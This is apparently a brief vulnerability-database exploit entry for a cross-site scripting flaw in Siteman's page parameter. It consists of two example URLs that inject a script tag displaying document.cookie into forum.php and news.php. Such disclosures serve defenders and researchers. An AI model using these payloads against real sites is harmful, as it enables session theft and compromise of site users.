• info
• discussion
• exploit
• solution
• references

Siteman Page Parameter Cross-Site Scripting Vulnerability

The following examples are available:

http://www.example.com/forum.php?do=viewtopic&cat=1&topic=1&page=1?"><script>alert(document.cookie)</script>
http://www.example.com/news.php?do=showone&id=1&page=1?"><script>alert(document.cookie)</script>